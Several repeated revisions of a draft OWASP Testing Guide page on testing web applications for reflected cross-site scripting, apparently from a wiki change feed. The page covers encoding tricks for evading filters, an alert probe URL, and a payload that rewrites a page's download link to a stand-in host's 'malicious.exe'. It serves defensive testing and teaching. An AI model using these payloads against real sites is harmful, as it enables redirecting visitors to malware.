== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black and Grey Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* XSS Cheat Sheet: http://ha.ckers.org/xss.html&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml&lt;br /&gt;
* HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
* PHP Charset Encoder(PCE) - http://h4k.in/encoding&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35566</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35566"/>
				<updated>2008-08-07T19:06:24Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box and Grey Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* XSS Cheat Sheet: http://ha.ckers.org/xss.html&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml&lt;br /&gt;
* HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
* PHP Charset Encoder(PCE) - http://h4k.in/encoding&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35535</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=35535"/>
				<updated>2008-08-07T17:00:26Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box and Grey Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applicatons&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* XSS Cheat Sheet: http://ha.ckers.org/xss.html&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml&lt;br /&gt;
* HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34909</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34909"/>
				<updated>2008-07-29T17:40:08Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities: &lt;br /&gt;
&lt;br /&gt;
'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this:  /((\%3C)|&amp;lt;)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|&amp;gt;)/i.&lt;br /&gt;
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using &amp;quot;javascript:&amp;quot;, if we dont need to close any other kind of tag. &lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Sick</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34902</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=34902"/>
				<updated>2008-07-29T17:19:21Z</updated>
		
		<summary type="html">&lt;p&gt;Sick: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
'''This is a draft of a section of the new Testing Guide v3'''&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected cross-site scripting (XSS) is another name for non-persistent &lt;br /&gt;
XSS, where the attack doesn't load with the vulnerable web application &lt;br /&gt;
but is originated by the victim loading the offending URI. In this &lt;br /&gt;
article we will see some ways to test a web application for this kind of &lt;br /&gt;
vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and &lt;br /&gt;
are the most frequent type of XSS attacks found nowadays. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
he convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code -using the victim's credentials-. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is in the Javascript language, but also &lt;br /&gt;
other scripting languajes like ActionScript, and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically profit from these vulnerabilities in order to &lt;br /&gt;
install key loggers, steal victim cookies, clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the important matters about exploiting XSS vulnerabilities is character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so for example the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3 which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's CAL9000. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it. &lt;br /&gt;
&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://localhost/tag/xss-s-tag-1.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
